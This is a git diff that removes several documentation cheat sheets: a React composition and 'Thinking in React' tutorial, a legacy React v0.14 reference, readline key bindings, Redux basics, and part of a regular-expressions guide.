-function Dialog(props) {
-    return (
-        <FancyBorder color="blue">
-            {' '}
-            <h1 className="Dialog-title"> {props.title}</h1> <p className="Dialog-message"> {props.message}</p> {props.children}{' '}
-        </FancyBorder>
-    );
-}
-
-class SignUpDialog extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleChange = this.handleChange.bind(this);
-        this.handleSignUp = this.handleSignUp.bind(this);
-        this.state = { login: '' };
-    }
-
-    render() {
-        return (
-            <Dialog title="Mars Exploration Program" message="How should we refer to you?">
-                {' '}
-                <input value={this.state.login} onChange={this.handleChange} /> <button onClick={this.handleSignUp}> Sign Me Up! </button>{' '}
-            </Dialog>
-        );
-    }
-
-    handleChange(e) {
-        this.setState({ login: e.target.value });
-    }
-
-    handleSignUp() {
-        alert(`Welcome aboard, ${this.state.login}!`);
-    }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/gwZbYa?editors=0010)
-
----
-
----
-
-### So What About Inheritance?
-
-At Facebook, we use React in thousands of components, and we haven't found any use cases where we would recommend creating component inheritance hierarchies.
-
-Props and composition give you all the flexibility you need to customize a component's look and behavior in an explicit and safe way. Remember that components may accept arbitrary props, including primitive values, React elements, or functions.
-
-If you want to reuse non-UI functionality between components, we suggest extracting it into a separate JavaScript module. The components may import it and use that function, object, or a class, without extending it.
-
----
-
----
-
-### **Thinking in React**
-
----
-
-### React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.
-
-One of the many great parts of React is how it makes you think about apps as you build them. In this document, we'll walk you through the thought process of building a searchable product data table using React.
-
----
-
----
-
-### Start With A Mock
-
-Imagine that we already have a JSON API and a mock from our designer. The mock looks like this:
-
-![https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png](https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png)
-
-Our JSON API returns some data that looks like this:
-
-```js
-[
-    {
-        category: 'Sporting Goods',
-        price: '$49.99',
-        stocked: true,
-        name: 'Football'
-    },
-    {
-        category: 'Sporting Goods',
-        price: '$9.99',
-        stocked: true,
-        name: 'Baseball'
-    },
-    {
-        category: 'Sporting Goods',
-        price: '$29.99',
-        stocked: false,
-        name: 'Basketball'
-    },
-    {
-        category: 'Electronics',
-        price: '$99.99',
-        stocked: true,
-        name: 'iPod Touch'
-    },
-    {
-        category: 'Electronics',
-        price: '$399.99',
-        stocked: false,
-        name: 'iPhone 5'
-    },
-    { category: 'Electronics', price: '$199.99', stocked: true, name: 'Nexus 7' }
-];
-```
-
----
-
----
-
-### Step 1: Break The UI Into A Component Hierarchy
-
-The first thing you'll want to do is to draw boxes around every component (and subcomponent) in the mock and give them all names. If you're working with a designer, they may have already done this, so go talk to them! Their Photoshop layer names may end up being the names of your React components!
-
-But how do you know what should be its own component? Use the same techniques for deciding if you should create a new function or object. One such technique is the [single responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle), that is, a component should ideally only do one thing. If it ends up growing, it should be decomposed into smaller subcomponents.
-
-Since you're often displaying a JSON data model to a user, you'll find that if your model was built correctly, your UI (and therefore your component structure) will map nicely. That's because UI and data models tend to adhere to the same _information architecture_. Separate your UI into components, where each component matches one piece of your data model.
-
-![https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png](https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png)
-
-You'll see here that we have five components in our app. We've italicized the data each component represents.
-
-1. **`FilterableProductTable` (orange):** contains the entirety of the example
-2. **`SearchBar` (blue):** receives all _user input_
-3. **`ProductTable` (green):** displays and filters the _data collection_ based on _user input_
-4. **`ProductCategoryRow` (turquoise):** displays a heading for each _category_
-5. **`ProductRow` (red):** displays a row for each _product_
-
-If you look at `ProductTable`, you'll see that the table header (containing the "Name" and "Price" labels) isn't its own component. This is a matter of preference, and there's an argument to be made either way. For this example, we left it as part of `ProductTable` because it is part of rendering the _data collection_ which is `ProductTable`'s responsibility. However, if this header grows to be complex (e.g., if we were to add affordances for sorting), it would certainly make sense to make this its own `ProductTableHeader` component.
-
-Now that we've identified the components in our mock, let's arrange them into a hierarchy. Components that appear within another component in the mock should appear as a child in the hierarchy:
-
--   `FilterableProductTable`
-    -   `SearchBar`
-    -   `ProductTable`
-        -   `ProductCategoryRow`
-        -   `ProductRow`
-
----
-
----
-
-### Step 2: Build A Static Version in React
-
-See the Pen [Thinking In React: Step 2)\*\*](https://codepen.io/gaearon/pen/BwWzwm) on [CodePen)\*\*](https://codepen.io).
-
-Now that you have your component hierarchy, it's time to implement your app. The easiest way is to build a version that takes your data model and renders the UI but has no interactivity. It's best to decouple these processes because building a static version requires a lot of typing and no thinking, and adding interactivity requires a lot of thinking and not a lot of typing. We'll see why.
-
-To build a static version of your app that renders your data model, you'll want to build components that reuse other components and pass data using _props_. _props_ are a way of passing data from parent to child. If you're familiar with the concept of _state_, **don't use state at all** to build this static version. State is reserved only for interactivity, that is, data that changes over time. Since this is a static version of the app, you don't need it.
-
-You can build top-down or bottom-up. That is, you can either start with building the components higher up in the hierarchy (i.e. starting with `FilterableProductTable`) or with the ones lower in it (`ProductRow`). In simpler examples, it's usually easier to go top-down, and on larger projects, it's easier to go bottom-up and write tests as you build.
-
-At the end of this step, you'll have a library of reusable components that render your data model. The components will only have `render()` methods since this is a static version of your app. The component at the top of the hierarchy (`FilterableProductTable`) will take your data model as a prop. If you make a change to your underlying data model and call `ReactDOM.render()` again, the UI will be updated. You can see how your UI is updated and where to make changes. React's **one-way data flow** (also called _one-way binding_) keeps everything modular and fast.
-
-Refer to the [React docs](https://reactjs.org/docs/) if you need help executing this step.
-
----
-
----
-
-### A Brief Interlude: Props vs State
-
-There are two types of "model" data in React: props and state. It's important to understand the distinction between the two; skim [the official React docs](https://reactjs.org/docs/state-and-lifecycle.html) if you aren't sure what the difference is. See also [FAQ: What is the difference between state and props?](https://reactjs.org/docs/faq-state.html#what-is-the-difference-between-state-and-props)
-
----
-
----
-
-### Step 3: Identify The Minimal (but complete) Representation Of UI State
-
-To make your UI interactive, you need to be able to trigger changes to your underlying data model. React achieves this with **state**.
-
-To build your app correctly, you first need to think of the minimal set of mutable state that your app needs. The key here is [DRY: _Don't Repeat Yourself_](https://en.wikipedia.org/wiki/Don't_repeat_yourself). Figure out the absolute minimal representation of the state your application needs and compute everything else you need on-demand. ##### For example, if you're building a TODO list, keep an array of the TODO items around; don't keep a separate state variable for the count. Instead, when you want to render the TODO count, take the length of the TODO items array.
-
-Think of all the pieces of data in our example application. We have:
-
--   The original list of products
--   The search text the user has entered
--   The value of the checkbox
--   The filtered list of products
-
-Let's go through each one and figure out which one is state. Ask three questions about each piece of data:
-
-1. Is it passed in from a parent via props? If so, it probably isn't state.
-2. Does it remain unchanged over time? If so, it probably isn't state.
-3. Can you compute it based on any other state or props in your component? If so, it isn't state.
-
-The original list of products is passed in as props, so that's not state. The search text and the checkbox seem to be state since they change over time and can't be computed from anything. And finally, the filtered list of products isn't state because it can be computed by combining the original list of products with the search text and value of the checkbox.
-
-So finally, our state is:
-
--   The search text the user has entered
--   The value of the checkbox
-
----
-
----
-
-### Step 4: Identify Where Your State Should Live
-
-See the Pen [Thinking In React: Step 4)\*\*](https://codepen.io/gaearon/pen/qPrNQZ) on [CodePen)\*\*](https://codepen.io).
-
-OK, so we've identified what the minimal set of app state is. Next, we need to identify which component mutates, or _owns_, this state.
-
-Remember: React is all about one-way data flow down the component hierarchy. It may not be immediately clear which component should own what state. **This is often the most challenging part for newcomers to understand,** so follow these steps to figure it out:
-
-For each piece of state in your application:
-
--   Identify every component that renders something based on that state.
--   Find a common owner component (a single component above all the components that need the state in the hierarchy).
--   Either the common owner or another component higher up in the hierarchy should own the state.
--   If you can't find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common owner component.
-
-Let's run through this strategy for our application:
-
--   `ProductTable` needs to filter the product list based on state and `SearchBar` needs to display the search text and checked state.
--   The common owner component is `FilterableProductTable`.
--   It conceptually makes sense for the filter text and checked value to live in `FilterableProductTable`
-
-Cool, so we've decided that our state lives in `FilterableProductTable`. First, add an instance property `this.state = {filterText: '', inStockOnly: false}` to `FilterableProductTable`'s `constructor` to reflect the initial state of your application. Then, pass `filterText` and `inStockOnly` to `ProductTable` and `SearchBar` as a prop. Finally, use these props to filter the rows in `ProductTable` and set the values of the form fields in `SearchBar`.
-
-You can start seeing how your application will behave: set `filterText` to `"ball"` and refresh your app. You'll see that the data table is updated correctly.
-
----
-
----
-
-### Step 5: Add Inverse Data Flow
-
-See the Pen [Thinking In React: Step 5)\*\*](https://codepen.io/gaearon/pen/LzWZvb) on [CodePen)\*\*](https://codepen.io).
-
-So far, we've built an app that renders correctly as a function of props and state flowing down the hierarchy. Now it's time to support data flowing the other way: the form components deep in the hierarchy need to update the state in `FilterableProductTable`.
-
-React makes this data flow explicit to help you understand how your program works, but it does require a little more typing than traditional two-way data binding.
-
-If you try to type or check the box in the current version of the example, you'll see that React ignores your input. This is intentional, as we've set the `value` prop of the `input` to always be equal to the `state` passed in from `FilterableProductTable`.
-
-Let's think about what we want to happen. We want to make sure that whenever the user changes the form, we update the state to reflect the user input. Since components should only update their own state, `FilterableProductTable` will pass callbacks to `SearchBar` that will fire whenever the state should be updated. We can use the `onChange` event on the inputs to be notified of it. The callbacks passed by `FilterableProductTable` will call `setState()`, and the app will be updated.
-
----
-
----
-
-### And That's It
-
-Hopefully, this gives you an idea of how to think about building components and applications with React. While it may be a little more typing than you're used to, remember that code is read far more than it's written, and it's less difficult to read this modular, explicit code. As you start to build large libraries of components, you'll appreciate this explicitness and modularity, and with code reuse, your lines of code will start to shrink. :)
-
-[Advanced Content](https://www.notion.so/Advanced-Content-fbe1ec3ca3544951b5763b051b843949)
-
-[React Component](https://www.notion.so/React-Component-3dc17bc49a8e4d7e89efcc1281e747d9)
-
-<details>
-
----
-
----
diff --git a/docs/content/cheat-sheets/react@0.14.md b/docs/content/cheat-sheets/react@0.14.md
deleted file mode 100644
index b6a7a25c7d..0000000000
--- a/docs/content/cheat-sheets/react@0.14.md
+++ /dev/null
@@ -1,452 +0,0 @@
----
-title: React.js (v0.14)
-category: React
-
-deprecated: true
-intro: |
-    **Deprecated:** this guide targets an old version of React (v0.14). See the [updated React cheatsheet](react) for new versions.
----
-
-{%raw%}
-
-### Components
-
-```js
-var Component = React.createClass({
-    render: function () {
-        return <div>Hello {this.props.name}</div>;
-    }
-});
-```
-
-```js
-ReactDOM.render(<Component name="John" />, document.body);
-```
-
-{:.light}
-
-Use the [React.js jsfiddle](http://jsfiddle.net/reactjs/69z2wepo/) to start hacking. (or the unofficial [jsbin](http://jsbin.com/yafixat/edit?js,output))
-
-### Nesting
-
-```js
-var UserAvatar  = React.createClass({...});
-var UserProfile = React.createClass({...});
-```
-
-{:.light}
-
-```js
-var Info = React.createClass({
-    render() {
-        return (
-            <div>
-                <UserAvatar src={this.props.avatar} />
-                <UserProfile username={this.props.username} />
-            </div>
-        );
-    }
-});
-```
-
-Nest components to separate concerns. See [multiple components](http://facebook.github.io/react/docs/multiple-components.html).
-
-## States & Properties
-
-{:.center}
-
-### States and props
-
-```html
-<MyComponent fullscreen="{true}" />
-```
-
-{:.light}
-
-```js
-// props
-  this.props.fullscreen //=> true
-
-// state
-  this.setState({ username: 'rstacruz' });
-  this.replaceState({ ... });
-  this.state.username //=> 'rstacruz'
-```
-
-```js
-render: function () {
-  return <div className={this.props.fullscreen ? 'full' : ''}>
-    Welcome, {this.state.username}
-  </div>;
-}
-```
-
-Use [props](https://facebook.github.io/react/docs/tutorial.html#using-props) (`this.props`) to access parameters passed from the parent.
-Use [states](https://facebook.github.io/react/docs/tutorial.html#reactive-state) (`this.state`) to manage dynamic data.
-
-### Setting defaults
-
-```js
-React.createClass({
-  getInitialState: function () {
-    return { comments: [] };
-  },
-
-  getDefaultProps: function () {
-    return { name: "Hello" };
-  }
-);
-```
-
-Pre-populates `this.state.comments` and `this.props.name`.
-
-## Components
-
-### Component API
-
-```js
-ReactDOM.findDOMNode(c); // 0.14+
-React.findDOMNode(c); // 0.13
-c.getDOMNode(); // 0.12 below
-```
-
-{:.light}
-
-```js
-c.forceUpdate()
-c.isMounted()
-
-c.state
-c.props
-
-c.setState({ ... })
-c.replaceState({ ... })
-
-c.setProps({ ... })       // for deprecation
-c.replaceProps({ ... })   // for deprecation
-
-c.refs
-```
-
-These are methods available for `Component` instances. See [Component API](http://facebook.github.io/react/docs/component-api.html).
-
-### Component specs
-
-| Method                                                                                           | What                                        |
-| ------------------------------------------------------------------------------------------------ | ------------------------------------------- |
-| [`render()`](http://facebook.github.io/react/docs/component-specs.html#render)                   |                                             |
-| ----                                                                                             | ----                                        |
-| [`getInitialState()`](http://facebook.github.io/react/docs/component-specs.html#getinitialstate) |                                             |
-| [`getDefaultProps()`](http://facebook.github.io/react/docs/component-specs.html#getdefaultprops) |                                             |
-| ----                                                                                             | ----                                        |
-| [`mixins: [ ... ]`](http://facebook.github.io/react/docs/component-specs.html#mixins)            | Mixins ... [more](#mixins)                  |
-| [`propTypes: { ... }`](http://facebook.github.io/react/docs/component-specs.html#proptypes)      | Validation ... [more](#property-validation) |
-| [`statics: { ... }`](http://facebook.github.io/react/docs/component-specs.html#statics)          | Static methods                              |
-| [`displayName: "..."`](http://facebook.github.io/react/docs/component-specs.html#displayname)    | Automatically filled by JSX                 |
-
-{:.greycode.no-head}
-
-Methods and properties you can override. See [component specs](http://facebook.github.io/react/docs/component-specs.html).
-
-## Lifecycle
-
-### Mounting
-
-| `componentWillMount()` | Before rendering (no DOM yet) |
-| `componentDidMount()` | After rendering |
-{:.greycode.no-head.lc}
-
-Before initial rendering occurs. Add your DOM stuff on didMount (events, timers, etc). See [reference](http://facebook.github.io/react/docs/component-specs.html#mounting-componentwillmount).
-
-### Updating
-
-| `componentWillReceiveProps`_(newProps={})_ | Use `setState()` here |
-| `shouldComponentUpdate`_(newProps={}, newState={})_ | Skips `render()` if returns false |
-| `componentWillUpdate`_(newProps={}, newState={})_ | Can't use `setState()` here |
-| `componentDidUpdate`_(prevProps={}, prevState={})_ | Operate on the DOM here |
-{:.greycode.no-head.lc}
-
-Called when parents change properties and `.setState()`. These are not called for initial renders. See [reference](http://facebook.github.io/react/docs/component-specs.html#updating-componentwillreceiveprops).
-
-### Unmounting
-
-| `componentWillUnmount()` | Invoked before DOM removal |
-{:.greycode.no-head.lc}
-
-Clear your DOM stuff here (probably done on didMount). See [reference](http://facebook.github.io/react/docs/component-specs.html#unmounting-componentwillunmount).
-
-## Examples
-
-### Example: loading data
-
-```js
-React.createClass({
-    componentDidMount: function () {
-        $.get(
-            this.props.url,
-            function (data) {
-                this.setState(data);
-            }.bind(this)
-        );
-    },
-
-    render: function () {
-        return <CommentList data={this.state.data} />;
-    }
-});
-```
-
-See [initial AJAX data](http://facebook.github.io/react/tips/initial-ajax.html).
-
-## DOM nodes
-
-### References
-
-```html
-<input ref="myInput" />
-```
-
-{:.light}
-
-```js
-this.refs.myInput;
-ReactDOM.findDOMNode(this.refs.myInput).focus();
-ReactDOM.findDOMNode(this.refs.myInput).value;
-```
-
-### DOM Events
-
-Add attributes like `onChange`. See [events](https://facebook.github.io/react/docs/events.html).
-
-```html
-<input type="text" value="{this.state.value}" onChange="{this.handleChange}" />
-```
-
-{:.light}
-
-```js
-handleChange: function(event) {
-  this.setState({ value: event.target.value });
-}
-```
-
-Allows access to DOM nodes. See [References](http://facebook.github.io/react/docs/more-about-refs.html).
-
-### Two-way binding
-
-```html
-Email: <input type="text" valueLink={this.linkState('email')} />
-```
-
-{:.light}
-
-```js
-React.createClass({
-    mixins: [React.addons.LinkedStateMixin]
-});
-```
-
-```js
-this.state.email;
-```
-
-Use [LinkedStateMixin](http://facebook.github.io/react/docs/two-way-binding-helpers.html) for easier two-way binding.
-
-## Property validation
-
-### Basic types
-
-```js
-React.createClass({
-    propTypes: {
-        email: React.PropTypes.string,
-        seats: React.PropTypes.number,
-        settings: React.PropTypes.object,
-        callback: React.PropTypes.func,
-        isClosed: React.PropTypes.bool,
-        any: React.PropTypes.any
-    }
-});
-```
-
-Primitive types: `.string`, `.number`, `.func`, and `.bool`. See [propTypes](http://facebook.github.io/react/docs/reusable-components.html#prop-validation).
-
-### Required types
-
-```js
-propTypes: {
-  requiredFunc:  React.PropTypes.func.isRequired,
-  requiredAny:   React.PropTypes.any.isRequired,
-```
-
-Add `.isRequired`.
-
-### React elements
-
-```js
-propTypes: {
-  element:  React.PropTypes.element,  // react element
-  node:     React.PropTypes.node,     // num, string, element
-                                      // ...or array of those
-```
-
-Use `.element`, `.node`.
-
-### Enumerables
-
-```
-propTypes: {
-  enum:     React.PropTypes.oneOf(['M','F']),  // enum
-  union:    React.PropTypes.oneOfType([        // any
-              React.PropTypes.string,
-              React.PropTypes.number ]),
-```
-
-Use `.oneOf`, `.oneOfType`.
-
-### Arrays and objects
-
-```js
-propTypes: {
-  array:    React.PropTypes.array,
-  arrayOf:  React.PropTypes.arrayOf(React.PropTypes.number),
-  object:   React.PropTypes.object,
-  objectOf: React.PropTypes.objectOf(React.PropTypes.number),
-
-  message:  React.PropTypes.instanceOf(Message),
-
-  object2:  React.PropTypes.shape({
-    color:  React.PropTypes.string,
-    size:   React.PropTypes.number
-  }),
-```
-
-Use `.array[Of]`, `.object[Of]`, `.instanceOf`, `.shape`.
-
-### Custom validation
-
-```js
-propTypes: {
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error('Validation failed!');
-    }
-  }
-}
-```
-
-Supply your own function.
-
-## Other features
-
-### Class set
-
-```js
-var cx = require('classnames');
-
-render: function() {
-  var classes = cx({
-    'message': true,
-    'message-important': this.props.isImportant,
-    'message-read': this.props.isRead
-  });
-
-  return <div className={classes}>Great Scott!</div>;
-}
-```
-
-Manipulate DOM classes with [classnames](https://www.npmjs.org/package/classnames), previously known as `React.addons.classSet`. See [Class set](http://facebook.github.io/react/docs/class-name-manipulation.html).
-
-### Propagating properties
-
-```html
-<VideoPlayer src="video.mp4" />
-```
-
-{:.light}
-
-```js
-var VideoPlayer = React.createClass({
-    render: function () {
-        /* propagates src="..." down to this sub component */
-        return <VideoEmbed {...this.props} controls="false" />;
-    }
-});
-```
-
-See [Transferring props](http://facebook.github.io/react/docs/transferring-props.html).
-
-### Mixins
-
-```js
-var SetIntervalMixin = {
-  componentWillMount: function() { .. }
-}
-```
-
-{:.light}
-
-```js
-var TickTock = React.createClass({
-  mixins: [SetIntervalMixin]
-}
-```
-
-See [addons](https://facebook.github.io/react/docs/addons.html) for some built-in mixins.
-
-## [Top level API](https://facebook.github.io/react/docs/top-level-api.html)
-
-```js
-React.createClass({ ... })
-
-React.isValidElement(c)
-
-ReactDOM.findDOMNode(c) // 0.14+
-ReactDOM.render(<Component />, domnode, [callback]) // 0.14+
-ReactDOM.unmountComponentAtNode(domnode) // 0.14+
-
-ReactDOMServer.renderToString(<Component />) // 0.14+
-ReactDOMServer.renderToStaticMarkup(<Component />) // 0.14+
-```
-
-## JSX patterns
-
-### Style shorthand
-
-```js
-var style = { backgroundImage: 'url(x.jpg)', height: 10 };
-return <div style={style}></div>;
-```
-
-See [inline styles](https://facebook.github.io/react/tips/inline-styles.html).
-
-### InnerHTML
-
----
-
-```js
-function markdownify() {
-    return '<p>...</p>';
-}
-<div dangerouslySetInnerHTML={{ __html: markdownify() }} />;
-```
-
-See [dangerously set innerHTML](https://facebook.github.io/react/tips/dangerously-set-inner-html.html).
-
-### Lists
-
-```js
-var TodoList = React.createClass({
-    render: function () {
-        function item(itemText) {
-            return <li>{itemText}</li>;
-        }
-        return <ul>{this.props.items.map(item)}</ul>;
-    }
-});
-```
-
-## See also
-
--   [Animations](http://facebook.github.io/react/docs/animation.html)
-    {%endraw%}
diff --git a/docs/content/cheat-sheets/readline.md b/docs/content/cheat-sheets/readline.md
deleted file mode 100644
index 5c099f9bb8..0000000000
--- a/docs/content/cheat-sheets/readline.md
+++ /dev/null
@@ -1,55 +0,0 @@
-    Moving around
-
-Ctrl-b Move the cursor one character ⇦ to the left
-Ctrl-f Move the cursor one character ⇨ to the right
-Alt-b Move the cursor one word ⇦ to the left
-Alt-f Move the cursor one word ⇨ to the right
-Ctrl-a Move the cursor ⇤ to the start of the line
-Ctrl-e Move the cursor ⇥ to the end of the line
-Ctrl-x-x Move the cursor ⇤⇥ to the start, and to the end again
-
-    Cut, copy and paste
-
-Backspace Delete the character ⇦ to the left of the cursor
-DEL
-Ctrl-d Delete the character underneath the cursor
-Ctrl-u Delete everything ⇤ from the cursor back to the line start
-Ctrl-k Delete everything ⇥ from the cursor to the end of the line
-Alt-d Delete word ⇨ until before the next word boundary
-Ctrl-w Delete word ⇦ until after the previous word boundary
-Ctrl-y Yank/Paste prev. killed text at the cursor position
-Alt-y Yank/Paste prev. prev. killed text at the cursor position
-
-    History
-
-Ctrl-p Move in history one line ⇧ before this line
-Ctrl-n Move in history one line ⇩ after this line
-Alt-> Move in history all the lines ⇩ to the line currently being entered
-Ctrl-r Incrementally search the line history ⇧ backwardly
-Ctrl-s Incrementally search the line history ⇩ forwardly
-Ctrl-J End an incremental search
-Ctrl-G Abort an incremental search and restore the original line
-Alt-Ctrl-y Yank/Paste arg. 1 of prev. cmnd at the cursor position
-Alt-.
-Alt-\_ Yank/Paste last arg of prev. cmnd at the cursor position
-
-    Undo
-
-Ctrl-\_
-Ctrl-x
-Ctrl-u Undo the last editing command; you can undo all the way back to an empty line
-Alt-r Undo all changes made to this line
-Ctrl-l Clear the screen, reprinting the current line at the top
-Ctrl-l Clear the screen, reprinting the current line at the top
-
-    Completion
-
-TAB Auto-complete a name
-Alt-/ Auto-complete a name (without smart completion)
-Alt-? List the possible completions of the preceeding text
-Alt-\* Insert all possible completions of the preceeding text
-
-    Transpose
-
-Ctrl-t Transpose/drag char. before the cursor ↷ over the character at the cursor
-Alt-t Transpose/drag word before the cursor ↷ over the word at/after the cursor
diff --git a/docs/content/cheat-sheets/redux.md b/docs/content/cheat-sheets/redux.md
deleted file mode 100644
index a3ec1c30e2..0000000000
--- a/docs/content/cheat-sheets/redux.md
+++ /dev/null
@@ -1,201 +0,0 @@
----
-title: Redux
-category: React
-
-weight: -3
----
-
-### Creating a store
-
-```js
-import { createStore } from 'redux';
-```
-
-{: .-setup}
-
-```js
-// Reducer
-function counter(state = { value: 0 }, action) {
-    switch (action.type) {
-        case 'INCREMENT':
-            return { value: state.value + 1 };
-        case 'DECREMENT':
-            return { value: state.value - 1 };
-        default:
-            return state;
-    }
-}
-```
-
-```js
-let store = createStore(counter);
-```
-
-```js
-// Optional - you can pass `initialState` as a second arg
-let store = createStore(counter, { value: 0 });
-```
-
-A store is made from a reducer function, which takes the current `state`, and
-returns a new `state` depending on the `action` it was given.
-
-### Using a store
-
-```js
-let store = createStore(counter);
-```
-
-{: .-setup}
-
-```js
-// Dispatches an action; this changes the state
-store.dispatch({ type: 'INCREMENT' });
-store.dispatch({ type: 'DECREMENT' });
-```
-
-```js
-// Gets the current state
-store.getState();
-```
-
-```js
-// Listens for changes
-store.subscribe(() => { ... })
-```
-
-Dispatch actions to change the store's state.
-
-## React Redux
-
-### Provider
-
-```js
-import { Provider } from 'react-redux';
-```
-
-{: .-setup}
-
-```js
-React.render(
-    <Provider store={store}>
-        <App />
-    </Provider>,
-    mountNode
-);
-```
-
-The `<Provider>` component makes the store available in your React components. You need this so you can use `connect()`.
-
-### Mapping state
-
-```js
-import { connect } from 'react-redux';
-```
-
-{: .-setup}
-
-```js
-// A functional React component
-function App({ message, onMessageClick }) {
-    return <div onClick={() => onMessageClick('hello')}>{message}</div>;
-}
-```
-
-```js
-// Maps `state` to `props`:
-// These will be added as props to the component.
-function mapState(state) {
-    return { message: state.message };
-}
-
-// Maps `dispatch` to `props`:
-function mapDispatch(dispatch) {
-    return {
-        onMessageClick(message) {
-            dispatch({ type: 'click', message });
-        }
-    };
-}
-
-// Connect them:
-export default connect(mapState, mapDispatch)(App);
-```
-
-### Shorthand
-
-```js
-export default connect(
-    (state) => ({
-        message: state.message
-    }),
-    (dispatch) => ({
-        onMessageClick: (message) => {
-            dispatch({ type: 'click', message });
-        }
-    })
-)(App);
-```
-
-Same as above, but shorter.
-
-### Combining reducers
-
-```js
-const reducer = combineReducers({
-    counter,
-    user,
-    store
-});
-```
-
-Combines multiple reducers into one reducer function. See: [combineReducers](https://redux.js.org/docs/api/combineReducers.html) _(redux.js.org)_
-
-## Middleware
-
-### Signature
-
-```js
-// noop middleware
-const logger = store => dispatch => action { dispatch(action) }
-```
-
-```js
-const logger = (store) => {
-    // This function runs on createStore().
-    // It returns a decorator for dispatch().
-
-    return (dispatch) => {
-        // Runs on createStore(), too.
-        // It returns a new dispatch() function
-
-        return (action) => {
-            // Runs on every dispatch()
-        };
-    };
-};
-```
-
-Middlewares are simply decorators for `dispatch()` to allow you to take
-different kinds of actions, and to perform different tasks when receiving
-actions.
-
-### Applying middleware
-
-```js
-const enhancer = applyMiddleware(logger, thunk, ...)
-```
-
-```js
-const store = createStore(reducer, {}, enhancer);
-```
-
-{: data-line="1"}
-
-## References
-
-{: .-one-column}
-
--   [Redux](https://www.npmjs.com/package/redux) _(npmjs.com)_
--   [React-redux](https://www.npmjs.com/package/react-redux) _(npmjs.com)_
--   [Usage with React](http://redux.js.org/docs/basics/UsageWithReact.html) _(redux.js.org)_
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/reg-ex.md b/docs/content/cheat-sheets/reg-ex.md
deleted file mode 100644
index afe7318c35..0000000000
--- a/docs/content/cheat-sheets/reg-ex.md
+++ /dev/null
@@ -1,374 +0,0 @@
-# Regular Expressions
-
-Reg Ex is a pattern-matching machine. It takes in a pattern and an input and
-sees if there is a match.
-
-## Cheatsheet
-
-Practice: https://regexr.com/
-
-### Pattern Matching
-
-For more explanations on all the rules, [see below](#regular-expression-operators):
-
--   `*` - zero or more
--
--   `+` - one or more
--
--   `?` - zero or one
--
--   `^` - start of input
--
--   `$` - end of input
--
--   `[]` - any character
--
--   `[a-z]` - range o
--
--   `[^]` - not those characters
-
--   `\s` - whitespace
-
--   `\d` - digit
-
--   `\w` - a word character
-
--   `\S` - not whitespace
-
--   `\D` - not digit
-
--   `\W` - not a word character
-
-### JavaScript Regular Expressions
-
-For more detailed explanations, [see below](#regular-expressions-in-javascript)
-
--   Creating a new regular expression in JavaScript
-
-    ```js
-    const regex = /pattern/;
-    // const regex = new RegExp('pattern'); // can do this too
-    ```
-
--   `RegExp.prototype.test` - return true if pattern matches input string, false
-    otherwise
-
--   `String.prototype.replace` - returns a new string with all matches of a
-    pattern replaced by a replacement (only if pattern is a regular expression and
-    has global search, `g`., if the pattern is a string, it will only replace the
-    first match)
-
-## Regular Expression Operators
-
-### String with Characters only
-
--   Matches the string exactly
--
--   ex: if pattern is `"pat"` it looks for exactly `"pat"` in the string
-
-    | Inputs                   | Matched? |
-    | ------------------------ | -------- |
-    | `"pat"`                  | `true`   |
-    | `"what is the pattern?"` | `true`   |
-    | `"matter"`               | `false`  |
-    | `"Pat"`                  | `false`  |
-
-### Star Operator `*`
-
--   **Zero or more** of what's right before it
--
--   ex: if the pattern is `"th*e"`, then it looks for a `"t"`, then zero or more
-    `"h"`, then `"e"`
-
-    | Inputs           | Matched? |
-    | ---------------- | -------- |
-    | `"the"`          | `true`   |
-    | `"te"`           | `true`   |
-    | `"thhhhhhhhhhe"` | `true`   |
-    | `"tape"`         | `false`  |
-    | `"than"`         | `false`  |
-    | `"other"`        | `true`   |
-
-### Optional Operator `?`
-
--   **Zero or one** of what's right before it
--
--   ex: if pattern is `"at?t"`, then it looks for an `"a"`, zero or one `"t"`, then
-    a single `"t"` (an equivalent pattern to `"at?t"` would be `"att?"`)
-
-    | Inputs      | Matched? |
-    | ----------- | -------- |
-    | `"at"`      | `true`   |
-    | `"att"`     | `true`   |
-    | `"that"`    | `true`   |
-    | `"pat"`     | `true`   |
-    | `"atttttt"` | `false`  |
-    | `"apart"`   | `false`  |
-
-**NOTE:** To use a question mark in your string, you need to escape it in a regex
-
--   ex: pattern of `"at\?"` would return `true` for an input of `"where you at?"`
-    but `false` for an input of `"patty"`
-
-### Plus Operator `+`
-
--   **One or more** of what's right before it
--
--   ex: if pattern is `"at+"`, then it looks for an `"a"`, then one or more `"t"`
-    (an equivalent pattern to `"at+"` would be `"att*"`)
-
-    | Inputs      | Matched? |
-    | ----------- | -------- |
-    | `"at"`      | `true`   |
-    | `"att"`     | `true`   |
-    | `"that"`    | `true`   |
-    | `"pat"`     | `true`   |
-    | `"atttttt"` | `true`   |
-    | `"apart"`   | `false`  |
-
-### Dot Operator `.`
-
--   Any one character
--
--   ex: if pattern is `"r.."`, then it looks for an `r`, then any one character
-    after that, then any one character after that
-
-    | Inputs     | Matched? |
-    | ---------- | -------- |
-    | `"r"`      | `false`  |
-    | `"ra"`     | `false`  |
-    | `"rat"`    | `true`   |
-    | `"rain"`   | `true`   |
-    | `"train"`  | `true`   |
-    | `"forest"` | `true`   |
-    | `"burn"`   | `false`  |
-
-### Hat Operator - `^`
-
--   Start of input anchor
--
--   ex: if pattern is `"^is"`, then it looks for `"is"` at the very start of the
-    string
-
-    | Inputs                | Matched? |
-    | --------------------- | -------- |
-    | `"i"`                 | `false`  |
-    | `"is"`                | `true`   |
-    | `"Isaac"`             | `false`  |
-    | `"is your name Pat?"` | `true`   |
-    | `"Pat, my name is"`   | `false`  |
-
-### Dollar Sign Operator - `$`
-
--   End of input anchor
--
--   ex: if pattern is `"is$"`, then it looks for `"is"` at the very end of the
-    string
-
